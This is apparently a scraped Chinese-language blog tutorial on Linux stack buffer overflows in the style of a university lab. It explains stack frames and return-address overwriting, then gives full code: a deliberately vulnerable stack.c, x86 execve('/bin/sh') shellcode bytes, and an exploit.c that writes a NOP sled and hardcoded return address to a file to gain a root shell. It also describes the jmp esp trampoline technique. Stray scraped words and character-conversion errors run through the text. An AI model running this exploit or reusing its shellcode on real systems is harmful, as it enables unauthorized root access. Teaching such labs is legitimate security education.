从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每一个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,可是因为将函数返回地址这样的重要数据保存在程序员可见的堆栈中,所以也给系统安全带来了极大的隐患。html
缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的状况是程序检查数据长度并不容许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区自己的容量,而致使数据溢出到被分配空间以外的内存空间,使得溢出的数据覆盖了其余内存空间的数据。linux
而缓冲区溢出中,最为危险的是堆栈溢出,由于入侵者能够利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃致使拒绝服务,另一种就是跳转而且执行一段恶意代码,好比获得shell,而后随心所欲。
因为栈是低地址方向增加的,所以局部数组buffer的指针在缓冲区的下方。当把data的数据拷贝到buffer内时,超过缓冲区区域的高地址部分数据会“淹没”本来的其余栈帧数据,根据淹没数据的内容不一样,可能会有产生如下状况:
一、淹没了其余的局部变量。若是被淹没的局部变量是条件变量,那么可能会改变函数本来的执行流程。这种方式能够用于破解简单的软件验证。
二、淹没了ebp的值。修改了函数执行结束后要恢复的栈指针,将会致使栈帧失去平衡。
三、淹没了返回地址。这是栈溢出原理的核心所在,经过淹没的方式修改函数的返回地址,使程序代码执行“意外”的流程!
四、淹没参数变量。修改函数的参数变量也可能改变当前函数的执行结果和流程。
五、淹没上级函数的栈帧,状况与上述4点相似,只不过影响的是上级函数的执行。固然这里的前提是保证函数能正常返回,即函数地址不能被随意修改(这可能很麻烦!)。程序员
shellcode实质是指溢出后执行的能开启系统shell的代码。可是在缓冲区溢出攻击时,也能够将整个触发缓冲区溢出攻击过程的代码统称为shellcode,按照这种定义能够把shellcode分为四部分:
一、核心shellcode代码,包含了攻击者要执行的全部代码。
二、溢出地址,是触发shellcode的关键所在。
三、填充物,填充未使用的缓冲区,用于控制溢出地址的位置,通常使用nop指令填充——0x90表示。
四、结束符号0,对于符号串shellcode须要用0结尾,避免溢出时字符串异常。
shellcode.c在Linux下生成一个shellshell
#include <unistd.h> int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); _exit(0); }
在shellcode.c中一共用到了两个系统调用,分别是execve(2)和_exit(2)。查看/usr/include/asm/unistd.h文件能够得知,与其相应的系统调用号__NR_execve和__NR_exit分别为11和1。按照前面刚刚讲过的系统调用规则,在Linux下生成一个shell并结束退出须要如下步骤:数组
- 在内存中存放一个以'\0'结束的字符串"/bin/sh";
- 将字符串"/bin/sh"的地址保存在内存中的某个机器字中,而且后面紧接一个值为0的机器字,这里至关于设置好了name[2]中的两个指针;
- 将execve(2)的系统调用号11装入eax寄存器;
- 将字符串"/bin/sh"的地址装入ebx寄存器;
- 将设好的字符串"/bin/sh"的地址的地址装入ecx寄存器;
- 将设好的值为0的机器字的地址装入edx寄存器;
- 执行int $0x80,这里至关于调用execve(2);
- 将_exit(2)的系统调用号1装入eax寄存器;
- 将退出码0装入ebx寄存器;
- 执行int $0x80,这里至关于调用_exit(2)。
stack.c,保存到 /tmp 目录下sass
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
exploit.c,保存到 /tmp 目录下安全
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= //得到一个shell "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x94\xd0\xff\xff");// 地址为根据实验结果算出的。 strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
用如下命令获得shellcode在内存中的地址app
GDB disassemble能够反汇编一个函数。函数
gdb stack disass main
结果如图:
如何肯定缓冲区的起始地址与函数的返回地址所在的内存单元的距离。
对于stack.c,要肯定的是buffer与保存起始地址的堆栈的距离。这须要经过gdb调试stack来肯定。
如何组织buffer的内容,使溢出后能使程序执行注入的shellcode。这须要猜想buffer在内存中的起始地址,从而肯定溢出后返回地址的具体值。
使用gdb设置断点
this
根据语句 strcpy(buffer+100,shellcode); 计算shellcode的地址为 0xffffd030(十六进制)+100(十进制)=0xffffd094(十六进制)
编译exploit.c程序:
gcc -m32 -o exploit exploit.c
先运行攻击程序exploit,再运行漏洞程序stack。能够观察攻击结果。
用whoami命令验证一下本身如今的身份。其实Linux继承了UNIX的一个习惯,即普通用户的命令提示符是以$开始的,而超级用户的命令提示符是以#开始的。
能够看到身份已是root了!因为在全部UNIX系统下黑客攻击的最高目标就是对root权限的追求,所以能够说系统已经被攻破了。
此实验关闭了系统的地址随机化。
但实际的操做系统每次加载可执行文件到进程空间的位置都是没法预测的,所以栈的位置实际是不固定的,经过硬编码覆盖新返回地址的方式并不可靠。为了能准肯定位shellcode的地址,须要借助一些额外的操做,其中最经典的是借助跳板的栈溢出方式。
若是咱们在函数的返回地址填入一个地址,该地址指向的内存保存了一条特殊的指令jmp esp——跳板。那么函数返回后,会执行该指令并跳转到esp所在的位置——即data的位置。咱们能够将缓冲区再多溢出一部分,淹没data这样的函数参数,并在这里放上咱们想要执行的代码!这样,无论程序被加载到哪一个位置,最终都会回来执行栈内的代码。
调整代码是:
add esp,-X jmp esp
第一条指令抬高了栈指针到shellcode以前。X表明shellcode起始地址与esp的偏移。若是shellcode从缓冲区起始位置开始,那么就是buffer的地址偏移。这里不使用sub esp,X指令主要是避免X的高位字节为0的问题,不少状况下缓冲区溢出是针对字符串缓冲区的,若是出现字节0会致使缓冲区截断,从而致使溢出失败。
第二条指令就是跳转到shellcode的起始位置继续执行。(又是jmp esp!)
经过上述方式便能得到一个较为稳定的栈溢出攻击。